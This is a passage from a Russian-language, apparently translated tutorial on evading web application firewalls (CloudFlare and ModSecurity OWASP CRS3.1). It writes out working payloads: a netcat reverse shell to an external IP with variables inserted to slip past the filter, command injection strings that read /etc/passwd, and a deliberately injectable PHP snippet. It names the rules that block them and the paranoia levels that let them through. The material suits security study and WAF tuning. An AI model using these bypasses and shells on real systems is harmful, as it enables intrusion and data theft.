\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f <strong>netcat<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u043e\u0431\u043e\u0439\u0434\u044f \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b CloudFlare WAF. \u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f, <strong>\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u043b \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 CloudFlare \u043d\u0430 &quot;block&quot;<\/strong>.\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-09.48.23.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7781\" height=\"1462\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-09.48.23.png\" width=\"1970\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-09.48.23.png 1970w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-09.48.23-300x223.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-09.48.23-768x570.png 768w\" sizes=\"(max-width: 1970px) 100vw, 1970px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-6.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7780\" height=\"1560\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-6.png\" width=\"1838\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-6.png 1838w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-6-300x255.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-6-768x652.png 768w\" sizes=\"(max-width: 1838px) 100vw, 1838px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.17.39.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7779\" height=\"1468\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.17.39.png\" width=\"1822\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.17.39.png 1822w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.17.39-300x242.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.17.39-768x619.png 768w\" sizes=\"(max-width: 1822px) 100vw, 1822px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u0435\u0440\u0432\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430: \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 <strong>netcat<\/strong> \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c <strong>-e \/bin\/bash<\/strong> \u0434\u043e \u043c\u043e\u0435\u0433\u043e IP \u043d\u0430 \u043f\u043e\u0440\u0442\u0443 <strong>1337<\/strong>.\n<\/p>\n<p style=\"text-align: justify;\">\n\tCloudFlare WAF \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b <strong>nc<\/strong>:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.23.32.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7778\" height=\"1002\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.23.32.png\" width=\"2840\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.23.32.png 2840w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.23.32-300x106.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.23.32-768x271.png 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.23.32-2000x706.png 2000w\" sizes=\"(max-width: 2840px) 100vw, 2840px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0425\u043e\u0440\u043e\u0448\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438: CloudFlare \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043c\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0441\u0430\u043c\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043d\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 bash \u043f\u043e\u0441\u043b\u0435 <strong>nc<\/strong> \u0438 \u0432\u043d\u0443\u0442\u0440\u0438 <strong>\/bin\/bash<\/strong>, \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:\n<\/p>\n<pre class=\"brush:plain;\">\r\nnc$u -e \/bin$u\/bash$u 1.2.3.4 1337.<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.27.06.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7777\" height=\"1180\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.27.06.png\" width=\"2860\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.27.06.png 2860w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.27.06-300x124.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.27.06-768x317.png 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.27.06-2000x825.png 2000w\" sizes=\"(max-width: 2860px) 100vw, 2860px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u043e\u0431\u0445\u043e\u0434\u0438\u0442 CF WAF \u0438 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b.\n<\/p>\n<p style=\"text-align: justify;\">\n\tEt voil&agrave;!\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tModSecurity OWASP CRS3.1<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u0421 CRS3.1 \u0432\u0441\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0442\u0440\u0443\u0434\u043d\u0435\u0435, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u0440\u0438 \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0438 \u0443\u0440\u043e\u0432\u043d\u044f \u041f\u0430\u0440\u0430\u043d\u043e\u0439\u0438 \u0434\u043e 3 (\u0432\u0441\u0435\u0433\u043e 4 \u0443\u0440\u043e\u0432\u043d\u044f \u041f\u0430\u0440\u0430\u043d\u043e\u0439\u0438 CRS3, \u043d\u043e \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0445\u0440\u0435\u043d \u043e\u0431\u043e\u0439\u0434\u0451\u0448\u044c) \u0438 \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u043c\u043d\u043e\u0433\u0438\u0445 \u043f\u0440\u0438\u0447\u0438\u043d, \u043f\u043e\u0447\u0435\u043c\u0443 \u044f \u0442\u0430\u043a \u043b\u044e\u0431\u043b\u044e CRS3!\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0447\u0442\u043e \u0432 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043d\u0430 CloudFlare, \u043a\u043e\u0433\u0434\u0430 CRS3.1 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0430\u0440\u0430\u043d\u043e\u0439\u0438 3, <strong>\u043c\u043e\u0439 \u043f\u0435\u0440\u0432\u044b\u0439 \u0442\u0435\u0441\u0442 \u0431\u044b\u043b \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d<\/strong> \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c <strong>932100<\/strong> &quot;Unix Command Injection&quot;: (&laquo;\u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 Unix&raquo;):\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.13.55.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7776\" height=\"1662\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.13.55.png\" width=\"2852\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.13.55.png 2852w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.13.55-300x175.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.13.55-768x448.png 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.13.55-2000x1165.png 2000w\" sizes=\"(max-width: 2852px) 100vw, 2852px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0427\u0442\u043e \u044f \u043c\u043e\u0433\u0443 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430? \u042f \u0437\u043d\u0430\u044e, \u0447\u0442\u043e <strong>;&lt;\u043a\u043e\u043c\u0430\u043d\u0434\u0430&gt;<\/strong> \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 <strong>;&lt;\u043f\u0440\u043e\u0431\u0435\u043b&gt;&lt;\u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f&gt;&lt;\u043a\u043e\u043c\u0430\u043d\u0434\u0430&gt;<\/strong> \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438&#8230; \u042f \u0438\u043c\u0435\u044e \u0432\u0432\u0438\u0434\u0443 \u0447\u0442\u043e-\u0442\u043e \u0442\u0430\u043a\u043e\u0435:\n<\/p>\n<pre class=\"brush:plain;\">\r\n?host=www.google.it;+$u+cat+\/etc\/passwd.<\/pre>\n<p style=\"text-align: justify;\">\n\t932100 \u043e\u0431\u043e\u0451\u0434\u0435\u043d!\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.26.33.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7775\" height=\"1648\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.26.33.png\" width=\"2860\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.26.33.png 2860w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.26.33-300x173.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.26.33-768x443.png 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-23.26.33-2000x1152.png 2000w\" sizes=\"(max-width: 2860px) 100vw, 2860px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041d\u0435\u043f\u043b\u043e\u0445\u043e! \u042f <strong>\u043e\u0431\u043e\u0448\u0451\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e 932100<\/strong>, \u043d\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437-\u0437\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 <strong>etc\/passwd<\/strong> \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <strong>host<\/strong>. \u0427\u0442\u043e \u044f \u043c\u043e\u0433\u0443 \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u0442\u0430\u043a \u044d\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0443\u0442\u0438 etc\/passwd \u043a\u0430\u043a-\u0442\u043e \u0442\u0430\u043a:\n<\/p>\n<pre class=\"brush:plain;\">\r\n?host=www.google.it;+$u+cat+\/etc$u\/passwd$u<\/pre>\n<p style=\"text-align: justify;\">\n\t\u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442! <strong>\/etc\/passwd<\/strong> \u0443\u0442\u0451\u043a\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3.gif\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7774\" height=\"1080\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3.gif\" width=\"1729\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043c\u043e\u0438\u0445 \u0442\u0435\u0441\u0442\u043e\u0432 \u043d\u0430 CloudFlare WAF, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 CRS3.1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 Paranoia Level 3 \u0442\u0440\u0443\u0434\u043d\u0435\u0435 \u043e\u0431\u043e\u0439\u0442\u0438, \u0438 \u044d\u0442\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u043f\u0440\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438&nbsp;<strong>$_GET[&#8216;host&#8217;] <\/strong>\u0432 \u0434\u0432\u043e\u0439\u043d\u044b\u0435 \u043a\u0430\u0432\u044b\u0447\u043a\u0438 \u0432\u043d\u0443\u0442\u0440\u0438 PHP \u0441\u043a\u0440\u0438\u043f\u0442\u0430. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c:\n<\/p>\n<pre class=\"brush:php;\">\r\n&lt;?php\r\n        if(isset($_GET['host'])) {\r\n                system(&#39;dig &quot;&#39;.$_GET['host'].&#39;&quot;&#39;);\r\n        }<\/pre>\n<p style=\"text-align: justify;\">\n\t\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443&nbsp;\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0442\u043e\u0447\u043a\u0438 \u0441 \u0437\u0430\u043f\u044f\u0442\u043e\u0439. \u041c\u043d\u0435 \u043d\u0443\u0436\u043d\u0430 \u0434\u0432\u043e\u0439\u043d\u0430\u044f \u043a\u0430\u0432\u044b\u0447\u043a\u0438 \u0438 \u0437\u0430\u0442\u0435\u043c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438\u043b\u0438 \u0437\u0430\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0441\u0442\u0430\u0432\u0448\u0443\u044e\u0441\u044f \u0434\u0432\u043e\u0439\u043d\u0443\u044e \u043a\u0430\u0432\u044b\u0447\u043a\u0443. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n<\/p>\n<pre class=\"brush:plain;\">\r\n\/?host=www.google.it&quot;;cat+\/etc\/passwd+#<\/pre>\n<p style=\"text-align: justify;\">\n\t\u042f \u0437\u043d\u0430\u044e, \u0447\u0442\u043e \u0432\u044b \u0434\u0443\u043c\u0430\u0435\u0442\u0435: &laquo;\u0422\u0435\u043f\u0435\u0440\u044c \u0441 \u0434\u0432\u043e\u0439\u043d\u044b\u043c\u0438 \u043a\u0430\u0432\u044b\u0447\u043a\u0430\u043c\u0438, \u0442\u043e\u0447\u043a\u043e\u0439 \u0441 \u0437\u0430\u043f\u044f\u0442\u043e\u0439, \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 RCE, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435, \u0434\u0430 \u0435\u0449\u0451 \u0438 \u0441\u0438\u043c\u0432\u043e\u043b \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f &mdash; \u0442\u0430\u043a\u043e\u0439 &laquo;\u0431\u043e\u0440\u0434\u0435\u043b\u044c&raquo; CloudFlare \u0442\u043e\u0447\u043d\u043e \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442&hellip; \u044d\u043c\u043c\u043c\u043c, \u043d\u0435\u0442.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041e\u0431\u0445\u043e\u0434 CloudFlare WAF:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.51.06.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7773\" height=\"1616\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.51.06.png\" width=\"2860\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.51.06.png 2860w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.51.06-300x170.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.51.06-768x434.png 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-30-alle-10.51.06-2000x1130.png 2000w\" sizes=\"(max-width: 2860px) 100vw, 2860px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 CloudFlare, \u043d\u0430 OWASP CRS3 \u044f \u043d\u0435 \u043c\u043e\u0433\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b \u0441 Paranoia Level = 3, \u0438\u0437-\u0437\u0430 \u0434\u0432\u0443\u0445 \u043f\u0440\u0430\u0432\u0438\u043b:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t942460 <strong>Meta-Character Anomaly Detection Alert &#8212; Repetitive Non-Word Characters<\/strong>: \u043e\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u043c\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0437-\u0437\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 <strong>&quot;<\/strong>, <strong>;<\/strong>, <strong>\/<\/strong>, \u0438 <strong>$<\/strong>\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t942260 <strong>Detects basic SQL authentication bypass attempts 2\/3<\/strong>: \u043f\u044b\u0442\u0430\u044f\u0441\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u043d\u0435\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u044f \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b \u044d\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\t\u041f\u043e\u043d\u0438\u0436\u0430\u044f\u0441\u044c \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f Paranoia Level 2, \u044d\u0442\u043e \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:\n<\/p>\n<pre class=\"brush:plain;\">\r\n\/?host=www.google.it&quot;;+$u+cat+\/etc$u\/passwd+\\#<\/pre>\n<p style=\"text-align: justify;\">\n\t\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a \u0442\u0440\u0443\u0434\u043d\u043e \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u043e\u0434\u0430? \u0418 \u043f\u043e\u0447\u0435\u043c\u0443 WAF \u043e\u0431\u044b\u0447\u043d\u043e \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0441\u0438\u043c\u0432\u043e\u043b \u0434\u043e\u043b\u043b\u0430\u0440\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430?&nbsp;\u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439. \u0418\u041c\u0425\u041e, \u043b\u0443\u0447\u0448\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 CRS3, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 4 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0445\u0441\u044f \u043d\u0435-\u0441\u043b\u043e\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0432 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u043e\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438. \u042d\u0442\u043e \u0443\u043c\u043d\u0435\u0435, \u0447\u0435\u043c \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u0431\u0443\u0434\u0435\u0442 \u043c\u0435\u043d\u044c\u0448\u0435 \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0447\u0430\u0441\u0442\u0438<br \/>\n<\/h2>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/hackware.ru\/?p=7698\" target=\"_blank\" rel=\"noopener noreferrer\">\u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0430\u0439\u0435\u0440\u0432\u043e\u043b\u043e\u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (Web Application Firewall (WAF)) (\u0447. 1)<\/a>\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/hackware.ru\/?p=7715\" target=\"_blank\" rel=\"noopener noreferrer\">\u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0430\u0439\u0435\u0440\u0432\u043e\u043b\u043e\u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (Web Application Firewall (WAF)) (\u0447. 2)<\/a>\n\t<\/li>\n<\/ul>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https:\/\/www.secjuice.com\/web-application-firewall-waf-evasion\/ \u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0430\u044f \u0447\u0430\u0441\u0442\u044c: \u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0430\u0439\u0435\u0440\u0432\u043e\u043b\u043e\u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (Web Application Firewall (WAF)) (\u0447. 2) \u042d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f 